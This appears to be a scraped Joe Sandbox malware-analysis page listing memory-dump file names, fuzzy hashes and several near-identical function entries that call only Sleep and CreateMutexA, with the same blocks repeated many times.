Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c2e2c54c247f125f6f733cd66899b7be1c45bf1826aea17fa412f43078b4fc08
Instruction ID: 9257fe91dbb6d8f72434b5158f11be9d7c54dbda4db372b3499c1861d1c04f1a
Opcode Fuzzy Hash: c2e2c54c247f125f6f733cd66899b7be1c45bf1826aea17fa412f43078b4fc08
Instruction Fuzzy Hash: B33139317102049BEB1CDB78DD887ADB7A6AFDA310F20862DE514EB3D6D73989818752

Function 00AA9FA9 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 237573dd4eebc0455da97f191b05b857dd02d965ea50694c7902953929d8c663
Instruction ID: d1574ce8b18118fc2674d1a3fcb9e75482c11c7befe8d49c949b9d0be6ac5d69
Opcode Fuzzy Hash: 237573dd4eebc0455da97f191b05b857dd02d965ea50694c7902953929d8c663
Instruction Fuzzy Hash: 003179317102049BEB1CDB78DD88B6DB7F6AF9A310F208228E014DB7C5D77A9980C752

Function 00AAA0DE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d70e8408d16bb48fe2bdc7dbe03640d98792c3610e9f8857678f7470bf683779
Instruction ID: 9108512e8e3940cb34163093ef53ed139c3f5c043904ced8ff72dc927b5ac068
Opcode Fuzzy Hash: d70e8408d16bb48fe2bdc7dbe03640d98792c3610e9f8857678f7470bf683779
Instruction Fuzzy Hash: E43148317102049BEF1CDB78DD88BADB6E6AF9A310F204329E114AB3D1D7398981C752

Function 00AAA348 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f68b77ebea0ea5aaf818b4530ca546966e995a51b2e9f28fb87f81b94ba7d650
Instruction ID: 610d8a4f95ba23bb2276ef5177bf6099ec97a5852ed9f35e7730283f11a6aad3
Opcode Fuzzy Hash: f68b77ebea0ea5aaf818b4530ca546966e995a51b2e9f28fb87f81b94ba7d650
Instruction Fuzzy Hash: A2316C317102049BEF1C9B78DD8876DB7F6AF9A310F208629E0159B3C5D7799980C762

Function 00AAA47D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280245226.0000000000C6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280270835.0000000000C70000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280297286.0000000000C80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280325386.0000000000C82000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280349652.0000000000C8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280410907.0000000000CA7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280473828.0000000000CA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280505765.0000000000CBD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280525638.0000000000CC0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280588467.0000000000CC6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280607574.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280666323.0000000000CCC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280687562.0000000000CD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280754907.0000000000CED000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280774262.0000000000CF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280795697.0000000000CF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280824993.0000000000CF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280846847.0000000000CFF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280915241.0000000000D03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280942148.0000000000D0B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280984962.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281011202.0000000000D0F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281043135.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281074451.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281152615.0000000000D1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281182223.0000000000D22000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281211236.0000000000D23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281254253.0000000000D24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281279546.0000000000D2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281348020.0000000000D3D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281367812.0000000000D3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281433309.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D60000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281497404.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281546352.0000000000D97000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281566948.0000000000D98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281626477.0000000000D99000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281647164.0000000000D9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281707623.0000000000DA0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281729210.0000000000DAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2281785348.0000000000DAF000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_aa0000_random.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e0a0af6197260c4b32ec639d2964acb6c7316751c4afa5d179fae914789be66b
Instruction ID: 97b4c0e12000f5a7700f940107788052a4c16eb485c09a50475890556a2eecc2
Opcode Fuzzy Hash: e0a0af6197260c4b32ec639d2964acb6c7316751c4afa5d179fae914789be66b
Instruction Fuzzy Hash: 76314631B101049BEB1CDB78DD8876DB7E6AFAA314F208729E015AB3C2D7798981C752

Function 00AAA5B2 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AAA893
CreateMutexA.KERNEL32(00000000,00000000,00B03224), ref: 00AAA8B1

Memory Dump Source

Source File: 00000001.00000002.2279934664.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.2279908771.0000000000AA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2279934664.0000000000B02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280064722.0000000000B09000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280084396.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2280118922.0000000000B17000.00000080.00000001.01000000.00000003.sdmpDownload File
